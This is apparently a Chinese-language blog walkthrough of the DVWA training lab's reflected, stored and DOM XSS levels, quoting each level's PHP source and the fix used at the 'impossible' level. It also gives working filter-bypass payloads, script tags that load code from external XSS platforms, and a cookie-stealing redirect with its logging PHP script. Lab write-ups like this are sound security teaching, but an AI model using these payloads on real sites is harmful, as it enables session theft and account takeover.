NineOnee

导航

 

XSS

知识点

XSS概念:由于web应用程序对用户的输入过滤不严,通过html注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

XSS类型:

反射型XSS:只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要去诱使用户点击一个恶意链接,才能攻击成功。 往往只一次有效。

前端->后端->前端

存储型XSS:将用户输入的数据存储在服务器端,每次用户访问都会被执行js脚本。可多次有效。比如某网站评论区有xss漏洞,利用该漏洞,每当用户访问该留言界面时,就会触发该xss漏洞,这时我们就可以在xss平台上获取这个用户的cookie,来实现无密码登录。

前端->后端->数据库->前端

DOM型XSS:文本对象模式xss,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,只取决于输出地点。

反射型XSS

low

 <?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

当后台与前端浏览器进行交互时,很有可能会产生xss漏洞,审计代码发现没有对参数进行过滤

进行xss攻击

<script>alert(‘xss’)</script>
<body onload=alert('xss2')>
<a href='' onclick=alert('xss3')>click1</a>    #点击click1时弹出xss3
<img src=http://192.168.10.128/a.jpg onerror=alert('xss4')>  #src地址错误,然后执行onerror的内容

网页重定向

<script>window.location='http://www.163.com'</script>
<iframe src='http://192.168.10.141/a.jpg' height='0' width='0'><iframe>

我们可以利用xss平台来获取cookie

</textarea>'"><script src=https://xsspt.com/18lqwS?1602040683></script>
medium
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = str_replace( '<script>', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

?>

审计代码,就过滤了一个<script>标签,我们可以通过大小写绕过,<scr<script>ipt>双写绕过,或者利用别的标签绕过

利用xss平台

</textarea>'"><script src=https://xsspt.com/18lqwS?1602040925></script>

这里<script src=...>跟过滤的不相符,自然也可以绕过

high
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

?>

审计代码,只要在字符串中以<script>的形式哪怕是断断续续的不区分大小写,就会将其过滤

这时我们用其他标签绕过

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//0xs.co/kUhA0';>

啊这,好像不行,为什么呢,因为这个字符串内有断断续续的字符能构成<script>,这时我们要利用harkbar内xss中的htmlcharacter功能,进行转码,实现绕过

<img src=x onerror=s=createElement('scr&#105;pt');body.appendChild(s);s.src='//0xs.co/kUhA0';>

我们也可以在自己写一个getcookie.php

<?php

$cookie=$_GET['cookie'];

$file=fopen("cookie.txt","a");

fwrite($file,$cookie."\n");

fclose($file)

?>

这里记得开启创建并写入文件的权限

chmod 777 .

在输入框内输入

<img scr=# onerror=(location.href="http://127.0.0.1/getcookie.php?cookie=")+document.cookie>

这时要注意绕过正则

<img src=# onerror=(locat&#105;on.href="http://127.0.0.1/getcook&#105;e.php?cook&#105;e="+document.cookie)>

我们就可以在cookie.txt内看到cookie

impossible
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$name = htmlspecialchars( $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

使用htmlspecialchars()函数对参数进行html实体转义,将html标签转换成文本,浏览器就无法识别标签,就抵御了xss漏洞

存储型XSS

low
<?php
  
if( isset( $_POST[ 'btnSign' ] ) ) {

	// Get input

	$message = trim( $_POST[ 'mtxMessage' ] );

	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input

	$message = stripslashes( $message );

	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitize name input

	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));



	// Update database

	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );



	//mysql_close();

}

?>

审计代码,发现对name和comment进行了防sql注入处理,但是没有进行防xss

这里我们试着输入name:11 comment:/111

但是stripslashes函数没有把comment的反斜杠给去除掉,也是很迷

我们利用xss平台

</textarea>'"><script src=https://xsspt.com/18lqwS?1602047123></script>

name框随便输,comment框输入上述(利用火狐改变输入框最多输入字符数),我们可以在xss平台获取cookie,但是我试着重复访问这个页面,发现xss平台在接收完第一次cookie时,并没有重复接收cookie,而我们要是利用getcookie.php,每访问一次,便会返回一个cookie给cookie.txt,这时我们得到的cookie便是反反复复重复的。简单来说,就是xss平台利用的存储型xss漏洞,接收的cookie不会重复,而getcookie.php变会重复。而我们的<script>alert(111)</script>也是每次刷新或者访问都会出现

medium
 <?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

strip_tags()函数是去除字符串中的 HTML、XML 以及PHP的标签,返回去除标签之后的字符串

addslashes()函数在单引号,双引号,反斜杠,等前面加反斜杠转义

这里我们发现只对message进行了防xss处理,对name只进行了一个<script>过滤,我们完全可以用大小写绕过,或者双写,其他标签也行

我们在name框放入

</textarea>'"><script src=https://xsspt.com/18lqwS?1602049302></script>

即可获取cookie,每当有一个新用户访问留言界面时,xss平台上便会接收这个新用户的cookie,注意已经获取的老用户cookie,再访问时,xss平台上不会接收这个老用户的cookie.

high
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {

	// Get input

	$message = trim( $_POST[ 'mtxMessage' ] );

	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input

	$message = strip_tags( addslashes( $message ) );

	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	$message = htmlspecialchars( $message );

	// Sanitize name input

	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database

	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();

}

?>

对message进行了防sql注入和抵御xss,但是对name还是跟反射型xss中high级别一样的处理,我们一样的绕过就行

<img src=x onerror=s=createElement('scr&#105;pt');body.appendChild(s);s.src='//0xs.co/kUhA0';>

impossible

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = stripslashes( $message );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = stripslashes( $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$name = htmlspecialchars( $name );

	// Update database
	$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
	$data->bindParam( ':message', $message, PDO::PARAM_STR );
	$data->bindParam( ':name', $name, PDO::PARAM_STR );
	$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到对name和message都进行了htmlspecialchars()处理,并且防止了sql注入。

DOM型xss

知识点

什么是DOM?
DOM(Document Object Model)即文档对象模型, 定义了访问HTML和XML文档的标准。

DOM型XSS攻击是DOM的一种攻击。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,例如:

  • document.referer
  • window. name
  • location
  • innerHTML
  • documen.write

客户端的脚本程序可以通过DOM动态检查和修改页面内容。它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行。如果DOM中的数据没有经过严格确认,就会被注入攻击。

DOM型XSS可能是反射型,也可能是存储型。

low
 <?php

# No protections, anything goes

?>

可以看到没有进行任何的过滤


可以看到,我们选择English时,default=English,并且html页面中插入了

<option value="English">English</option>
<option value="" disabled="disabled">---</option>

我们插入

<script>alert(111)</script>


可以看到value里面便是我们插入的语句,并且成功执行了。

我们利用xss平台,获取cookie

</textarea>'"><script src=https://xsspt.com/18lqwS?1602141455></script>
medium

构造?default=<script>alert(11111)</script>,这时页面会自动跳转?default=English

双写绕过 :?default=<scri<script>pt>alert(1111)</scr</script>ipt>,这时页面也会自动跳转?default=English

大小写绕过:?default=<Scipt>alert(111)</scRiPt>,这时页面会自动跳转?default=English

我们猜测后台对<script>标签进行了比较严格的过滤

尝试用别的标签

构造?default=<img src=# onerror=alert(1111)>


发现插入到了value值里,并没有插入option标签内,这是为什么呢?

纠结了好久,html菜真没办法。

因为select标签内只允许内嵌option标签,而option标签中能内嵌script标签但不能内嵌img等标签,因此需要在注入时先闭合option和select标签从而使注入的标签逃逸出来执行XSS

所以插入

</option></select><img src=# onerror=alert(document.cookie)>

即可实现绕过

利用xss平台

</option></select><img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//0xs.co/lab63';>

后台源码

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?> 

可知用stripos过滤了<script,使得大小写和双写没用

high
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

可知是白名单限制

URL栏的#号之后的内容并不会发送至服务器端,JS应用该符号实现在页面创建加载过程中定向到指定的页面内容上。

构造

English#<script>alert(1111)</script>

实现了绕过


可以看到发送给后台的链接是?default=English

而我们客户端的是?default=English#<script>alert(1111)</script>

客户端的脚本是

if (document.location.href.indexOf("default=") >= 0) {
						var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
						document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
						document.write("<option value='' disabled='disabled'>----</option>");
					}
					    
					document.write("<option value='English'>English</option>");
					document.write("<option value='French'>French</option>");
					document.write("<option value='Spanish'>Spanish</option>");
					document.write("<option value='German'>German</option>");

截取到的lang是我们客户端的default参数,而不是发送给服务器的default参数


impossible
<?php

# Don't need to do anything, protction handled on the client side

?> 

大概意思是只在客户端做好防护就行了

if (document.location.href.indexOf("default=") >= 0) {
						var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
						document.write("<option value='" + lang + "'>" + (lang) + "</option>");
						document.write("<option value='' disabled='disabled'>----</option>");
					}
					    
					document.write("<option value='English'>English</option>");
					document.write("<option value='French'>French</option>");
					document.write("<option value='Spanish'>Spanish</option>");
					document.write("<option value='German'>German</option>");

我们看到没有对lang进行url解码,自然就没有dom型xss

并且我们由此可以知道url中的参数都是经过了url编码的,只是为了使用户看起来舒服,没有显示出来

由bp里的发送头也可以得知是编码的,然后发送到后台自动解码一次

posted on 2020-10-08 17:12  NineOne_E  阅读(120)  评论(0编辑  收藏  举报